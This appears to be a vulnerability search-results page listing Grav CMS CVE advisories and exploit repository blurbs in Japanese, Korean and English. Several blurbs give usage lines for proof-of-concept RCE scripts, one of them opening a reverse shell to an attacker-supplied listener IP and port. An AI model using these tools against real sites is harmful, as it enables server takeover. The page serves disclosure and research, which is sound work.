416 matches found
CVE-2025-50286
Grav CMS v1.7.48 / Admin Plugin v1.10.48 - プラグインアップロードを介した認証済みRCE(CVE-2025-50286) Grav CMS v1.7.48 および Admin Plugin v1.10.48 は、「Direct Install」プラグインアップロード機能を介したリモートコード実行(RCE)に対して脆弱であり、認証済みの管理者がサーバー上で任意のPHPコードを実行できる可能性があります。 CVE ID CVE-2025-50286 概要 種類: 認証済みリモートコード実行(RCE) 場所:...
Graver
Graver 설명 Grav CMSCVE-2024-28116의 인증된 SSTI+RCE를 악용하기 위한 PoCProof of Concept 스크립트입니다. 취약한 Grav CMS가 실행 중인 서버에 악성 RCE 페이지를 생성합니다. 참고 자료: https://nvd.nist.gov/vuln/detail/CVE-2024-28116 참고 사항 인증된 취약점이므로 스크립트에 하드코딩된 Grav CMS 편집자 사용자의 유효한 자격 증명을 사용해야 합니다. 사용 방법 다음은 도구의 사용 예시입니다: root@kitploit: python3...
Grav-CMS-RCE-Authenticated
Grav CMS リモートコード実行 認証済み - CVE-2024-28116 情報 このコードは、このビデオに基づいて改良を加えた、Graver Githubリポジトリからの翻案です。 Grav CMS(1.7.45未満のバージョン)に対するエクスプロイトで、SSTI + RCEの脆弱性(CVE-2024-28116として識別)に基づきます。このスクリプトは基本的に、脆弱性を含むページを作成し、実行し、最後に実行後にそのページを削除します。 使い方 root@kitploit: python3 GravCMSRCE.py -t http://10.10.10.10 -u 'admin...
GenGravSSTIExploit
EN GenGravSSTIExploit 는 Grav CMS 버전 -p : https://hostname 형식의 대상 URL. : 포트 번호 기본값 80. 예시: root@kitploit: python GenGravSSTIExploit.py -t http://example.com -p 8080 4. 익스플로잇과 상호 작용 익스플로잇이 성공하면 OS 명령을 실행할 수 있는 URL이 제공됩니다: root@kitploit: + RCE payload injected. Visit the malicious page:...
grav-cve-2024-28116
CVE-2024-28116 — Grav CMS におけるサンドボックスバイパスを伴う SSTI CVE-2024-28116 の解析と Docker による再現。これは、Grav CMS バージョン 1.7.44 以前に影響し、バージョン 1.7.45 で修正された、セキュリティサンドボックスバイパスを伴うサーバーサイドテンプレートインジェクション(SSTI)の脆弱性です。 報告者: Maurizio Siddu akabe1 CVSS v3.1 スコア: 8.8(高) 修正バージョン: Grav CMS 1.7.45 リポジトリ構成 vulnerable Dockerfile Gr...
CVE-2026-65008
CVE-2026-65008 — Grav CMS 2.0.7 未満における認証済み RCE CVE-2026-65008 の概念実証(PoC): Blueprint::dynamicData 内の無制限の calluserfuncarray を介した Grav CMS における認証済みリモートコード実行。 admin.pages(または api.pages.write)権限を持つユーザーは、悪意のあるフォーム frontmatter を仕込むことができます。ペイロードは、任意の 訪問者(未認証を含む)がページを読み込んだときに、Web サーバーユーザーとして実行されます。...
CVE-2021-29440
CVE-2021-29440 Grav CMS 1.7.10 の静的ページの安全でない Twig 処理による RCE Grav はファイルベースのWebプラットフォームです。静的ページの Twig 処理は、ページの作成または編集を許可された管理ユーザーであれば誰でもフロントマターで有効にできます。Twig プロセッサはサンドボックス化されずに実行されるため、この動作を利用して任意のコード実行を達成し、インスタンス上の権限を昇格させることができます。 解説 /admin ダッシュボードにアクセスでき、ページ作成権限を持つユーザーが必要です。 フロントマターブロックは process.twi...
CVE-2021-21425-RCE
これは私のバージョンです。インターネットでたくさん見つけましたが、それらは質が悪すぎます。 使用法 root@kitploit: python3 exploit.py -u http://IP/grav-admin/ --lhost YOUR TUN0 IP --lport 4444 待ってください。60秒後にリスナーでシェルを取得できます。...
CVE-2026-72702
Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...
CVE-2026-72697
Grav CMS before 2.0.16 contains a path traversal vulnerability in the mediadirectory Twig function that fails to validate filesystem paths, allowing authenticated users to enumerate and access files outside intended scope. Attackers with page authoring privileges can supply arbitrary filesystem...
CVE-2026-72696
Grav CMS before 2.0.16 contains a symlink following vulnerability in Scheduler Job::createLockFile that allows local attackers to overwrite arbitrary files by pre-creating symlinks at predictable lock file paths in the world-writable temp directory. Attackers can place a symlink at the predictabl...
CVE-2026-72695
Grav before 2.0.16 contains a path traversal vulnerability in MediaUploadTrait::deleteFile that allows authenticated users with media management permissions to delete arbitrary files by supplying filenames with directory traversal sequences. The method validates only the basename portion of the...
CVE-2026-72698
Grav CMS before 2.0.16 fails to filter system, site, and theme configuration arrays in sandboxed Twig renders, allowing content editors to read sensitive configuration values. Attackers with page-content edit access can access raw configuration arrays including secrets like cache credentials by...
CVE-2026-72701
Grav CMS before 2.0.16 contains a timing vulnerability in Utils::verifyNonce that uses non-constant-time string comparison with the === operator instead of hashequals for CSRF nonce validation. Attackers can measure response timing differences to recover valid nonce values byte-by-byte through...
EUVD-2026-65219
Grav before 2.0.16 allows sandboxed Twig templates to access sensitive User fields through allow-listed offsetGet and offsetexists methods that lack field filtering. Attackers with page-edit permissions can call offsetGet on User objects to extract hashed passwords and 2FA secrets, enabling offli...
EUVD-2026-65216
Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...
CVE-2026-72702 Grav CMS before 2.0.16 Origin Validation Bypass via Referer
Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...
CVE-2026-72702
Grav CMS versions before 2.0.16 contain an origin validation bypass in the Uri::referrer() and Pages::referrerRoute() methods. The root cause is an unanchored string prefix match (str_starts_with($referrer, $base)) with no trailing delimiter, meaning an attacker who controls a domain that begins ...
CVE-2026-72702 Grav CMS before 2.0.16 Origin Validation Bypass via Referer
Grav CMS before 2.0.16 contains an origin validation bypass in the Uri::referrer and Pages::referrerRoute methods, which validate the Referer header using an unanchored string prefix match strstartswith$referrer, $base with no trailing delimiter. An attacker who controls a domain that begins with...
EUVD-2026-65215
Grav CMS before 2.0.16 contains a timing vulnerability in Utils::verifyNonce that uses non-constant-time string comparison with the === operator instead of hashequals for CSRF nonce validation. Attackers can measure response timing differences to recover valid nonce values byte-by-byte through...